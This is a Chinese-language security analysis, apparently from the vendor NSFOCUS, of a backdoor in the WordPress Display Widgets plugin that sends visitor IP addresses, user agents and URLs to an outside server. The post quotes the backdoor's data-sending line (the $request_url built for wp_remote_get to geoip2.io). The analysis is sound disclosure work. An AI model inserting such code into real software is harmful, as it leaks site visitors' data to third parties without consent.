WordPress的Display Widgets插件后门分析

Display Widgets是WordPress一款插件,大约有200,000站点在使用该插件。最近,Display Widgets被发现存在有后门代码。该后门用于上传数据到第三方服务器,上传的数据包括用户IP地址,UA标识等。本文是对此后门的技术分析。

预警通告链接:https://blog.nsfocus.net/wordpress-display-widgets-backdoor/

后门分析

Display Widgets安装后如下图

 

在没有安装Display Widgets插件,Widgets原来的样子

Display Widgets插件开启后的样子

Display Widgets插件扩展了小工具的功能.

虽然这个插件是在后台进行操作配置的,但是我们在浏览wordpress前端网页时,这个插件仍然可被加载.

我们访问一下wordpress文章页面,并在后门处下断

在后门文件上下断点,访问前端文章页面,被断下,证明此时后门已经加载了。

下面我们分析下这个后门。

这个后门文件名为geolocation.php,在插件安装后位于wp-content/plugins/display-widgets/文件夹中

发现代码中有多处wp_remote_get()方法:

这个方法是用来向外发送get请求的,如下图所示:

而且插件代码调用这个方法向外发送一个可疑的request_url参数,

$request_url = ‘http://geoip2.io/api/update/?url=’ . urlencode( self::get_protocol() . $_SERVER[ ‘HTTP_HOST’ ] . $_SERVER[ ‘REQUEST_URI’ ] ) . ‘&agent=’ . urlencode( self::get_user_agent() ) . ‘&geo=true&p=9&v=0&ip=’ . urlencode( $_SERVER[ ‘REMOTE_ADDR’ ] ) . ‘&siteurl=’ . urlencode( get_site_url() );

因此这处怀疑是一处后门。

我们分析下这个request_url参数都向外发送了什么,下面具体分析下:

request_url这个参数拼接了一个地址,并向这个地址通过get主要提交了url参数、agent参数和siteurl参数。

我们看一下这三个参数中泄露了什么信息

先看url参数中:

参数中的第一处调用了get_protocol()方法,,我们看下get_protocol方法,如下所示:

这个方法是用来判断网址是否是https的

然后紧接着拼接了一个$_SERVER[ ‘HTTP_HOST’ ] 和$_SERVER[ ‘REQUEST_URI’ ]组成了url参数

再看agent参数中:

包含了user_agent和$_SERVER[ ‘REMOTE_ADDR’ ]

get_user_agent方法如下所示,这个方法返回了$_SERVER[ ‘HTTP_USER_AGENT’ ] 的值

最后看siteurl参数中:

包含了网站的地址。

这些信息最终通过wp_remote_get方法被发送给了http://geoip2.io这个站,如下图所示

那代码中一共有多少处发送请求的地方呢?

一共用三处,这三处发送的内容一样,就是上文所分析的内容。

首先第一处在get_country方法

这个方法在display-widgets.php(插件主文件)中show_geolocation方法中被使用

第二处、第三次都在在check_query_string方法中,如下代码:

check_query_string方法在wp动作执行时被触发时被调用,如下图

而Wp动作意思是在wp项目被启动

另外,这个文件中还有个get_remote_ip方法,但是这个并没有被调用,

 

虽然没有被调用,但仍然可以看出这个方法是返回$_SERVER[ ‘REMOTE_ADDR’ ]值用的,如下图,因为是本地测试,值是127.0.0.1

声 明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

如果您需要了解更多内容,可以
加入QQ群:570982169
直接询问:010-68438880

 

Spread the word. Share this post!

Meet The Author

Leave Comment